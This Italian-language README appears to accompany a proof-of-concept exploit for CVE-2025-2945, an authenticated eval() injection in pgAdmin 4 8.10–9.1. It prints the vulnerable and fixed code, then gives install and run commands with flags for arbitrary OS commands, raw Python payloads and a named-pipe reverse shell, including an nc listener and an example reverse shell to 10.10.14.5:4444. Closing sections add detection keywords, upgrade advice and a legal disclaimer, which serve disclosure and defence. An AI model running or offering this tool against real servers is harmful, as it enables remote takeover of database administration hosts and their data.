
# PoC per CVE-2025-2945 — RCE tramite iniezione eval() autenticata in pgAdmin 4, CVSS 9.9
CVSS 3.1: 9.9 (Critico) · Versioni interessate: pgAdmin 4 8.10 – 9.1 · Corretto in: 9.2 (4 aprile 2025) CWE-95 (Neutralizzazione impropria delle direttive nel codice valutato dinamicamente / Iniezione in eval)
Una proof-of-concept per CVE-2025-2945, una vulnerabilità di esecuzione di codice remoto
autenticata nel Query Tool di pgAdmin 4. Un flag booleano di stato della transazione
(query_commited) viene passato direttamente a eval() di Python invece di essere
analizzato come booleano, consentendo a un utente autenticato di eseguire codice Python
arbitrario — e, di conseguenza, comandi di sistema operativo arbitrari — con i privilegi del
processo del servizio pgAdmin. Lo stesso anti-pattern è presente una seconda volta nel
modulo Cloud Deployment, nel provider Google (high_availability).
Un'analisi tecnica completa che copre la causa principale, la logica di sfruttamento, le linee guida per il rilevamento e la mitigazione è disponibile qui: khashayarnazarkardeh.com — Field Notes
Codice vulnerabile (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Codice corretto (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
La vulnerabilità richiede una sessione pgAdmin autenticata e una transazione del Query Tool associata a un server di database già registrato nell'account di destinazione. Entrambe sono precondizioni comuni nelle implementazioni reali, dove pgAdmin è tipicamente preconfigurato con una o più connessioni a server salvate.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| Flag | Descrizione |
|---|---|
--cmd COMMAND | Esegue un singolo comando di sistema operativo tramite os.system() |
--reverse-shell HOST:PORT | Avvia una reverse shell basata su named pipe verso un listener sotto il tuo controllo |
--raw-payload EXPR | Passa un'espressione Python grezza direttamente al sink vulnerabile eval() |
# Sul tuo host di attacco, in un terminale separato:
nc -lvnp 4444
# Esegui l'exploit:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
I difensori dovrebbero monitorare:
/sqleditor/query_tool/download/<trans_id> o
/cloud/deploy dove query_commited / high_availability è qualsiasi cosa
diversa da un letterale "true", "false", "1" o "0".__import__, os.system, subprocess,
eval, exec, open() presenti in uno dei due parametri.Aggiornare a pgAdmin 4 9.2 o successivo. La patch è una correzione minima e a basso rischio di coercizione booleana. Dove l'applicazione immediata della patch non è possibile, limitare l'accesso di rete a pgAdmin a reti autenticate e fidate, e disabilitare il modulo Cloud Deployment per gli account che non lo richiedono.
Khashayar Nazarkardeh — Leader in Cybersecurity e AI Security khashayarnazarkardeh.com · @Khashayarnzk
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, ricerca e scopi educativi. Eseguirlo contro qualsiasi sistema senza un'autorizzazione esplicita e documentata dal proprietario del sistema è illegale nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Utilizzando questo script accetti di essere l'unico responsabile di garantire di avere il permesso di testare il target.